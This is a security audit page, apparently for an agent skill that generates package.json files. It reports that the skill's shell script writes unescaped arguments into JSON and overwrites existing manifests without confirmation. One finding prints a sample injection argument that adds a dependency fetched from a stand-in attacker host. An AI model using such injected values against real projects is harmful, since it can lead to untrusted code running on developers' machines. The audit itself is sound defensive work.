Security audit

Package.json Generator

Security checks for vulnerabilities and agentic risk

Overview

The skill has a clear package.json generation purpose, but its shell script can overwrite an existing manifest and writes unescaped user input into JSON.

Review this skill before installing. It appears intended to generate package.json files, but only run it in a disposable or empty project directory, do not pass untrusted names or versions, and check the generated manifest before running npm install or npm scripts.

A.I.G

Vulnerability Patterns

Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally

Findings (2)

T09 · Insecure Skill Coding Practices

Error

Location: package-json-generator.sh:2
Finding: Unescaped Arguments Allow Arbitrary package.json Property Injection
Content: View full analysis
package.json << JSON { "name": "$NAME", "version": "$VERSION", ``` ### Technical Analysis The script inserts the user-controlled `NAME` and `VERSION` arguments directly into a JSON document without JSON encoding or input validation. An argument containing quotation marks and JSON syntax can terminate the intended string and inject additional top-level properties. For example, the following project name can add an attacker-selected dependency: ```bash ./package-json-generator.sh \ 'safe", "dependencies":{"evil":"https://attacker.example/payload.tgz"}, "x":"y' ``` The generated manifest would contain attacker-controlled properties similar to: ```json { "name": "safe", "dependencies": { "evil": "https://attacker.example/payload.tgz" }, "x": "y", "version": "1.0.0" } ``` Although the generator does not itself invoke `npm install`, a subsequent package installation can retrieve the injected package. If installation scripts are enabled, lifecycle scripts shipped by that dependency may execute with the privileges of the user or automation account running npm. The same flaw also permits injection of other package configuration, corruption of the generated manifest, or alteration of scripts and metadata. ### Attack Path 1. An attacker controls or influences the name or version passed to the generator, such as through copied setup instructions, CI parameters, or another wrapper script. 2. The attacker supplies a value containing a closing quotation mark and additional JSON properties. 3. The generator embeds the value verbatim into `package.json`. 4. The resulting file contains attacker-selected dependencies, scripts, or configuration. 5. A developer or CI process subsequently executes `npm insta ...[truncated 824 chars]
Remediation: View remediation

T09 · Insecure Skill Coding Practices

Note

Location: package-json-generator.sh:5
Finding: Existing package.json Is Overwritten Without Confirmation
Content: View full analysis
package.json << JSON ``` ### Technical Analysis The shell output redirection operator truncates `package.json` before writing the generated content. The script does not check whether the file already exists, request confirmation, require an explicit overwrite option, or create a backup. As a result, accidentally running the generator in an existing project immediately destroys the existing manifest. The overwritten content may include dependency declarations, scripts, package metadata, workspace configuration, and tool-specific settings. ### Attack Path 1. A developer or automation process runs the generator from an existing project directory. 2. A `package.json` file is already present. 3. Shell redirection truncates the existing file without warning. 4. The generator replaces it with the fixed template. 5. Existing project configuration is lost unless it can be recovered from version control or a backup. ### Impact Assessment Exploitation or accidental activation can cause local configuration loss and disrupt development or build processes. The operation is limited to `package.json` in the current working directory and runs with the invoking user's existing filesystem privileges. The reviewed behavior does not independently provide code execution, privilege escalation, or access outside locations writable by the invoking user. ]]>
Remediation: View remediation
&2 exit 1 fi ``` - Require an explicit `--force` option for destructive replacement. - Optionally create a timestamped backup before an authorized overwrite. - Generate content into a securely created temporary file and atomically rename it only after generation and validation succeed. - Verify the generated temporary file with a JSON parser before replacing the destination. - Clearly document the output location and overwrite behavior. ]]>

SkillSpector

Vulnerability Patterns

Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep

Findings (2)

Natural-Language Policy Violations

Medium

Category: Not specified by scanner
Confidence: 96% confidence
Finding: The manifest description and body text are written entirely in Chinese, indicating a language-specific skill presentation with no opt-in or alternative locale guidance. Under the policy, language constraints should either be optional for the user or clearly justified as region-specific.
Content: No source excerpt is available for this finding.

Natural-Language Policy Violations

Low

Category: Not specified by scanner
Confidence: 92% confidence
Finding: The manifest description is written as "生成 package.json" ("generate package.json"), which indicates the skill is described in Chinese without offering any language or locale choice. Under the policy, forcing a specific language without user opt-in is a natural-language locale concern.
Content: No source excerpt is available for this finding.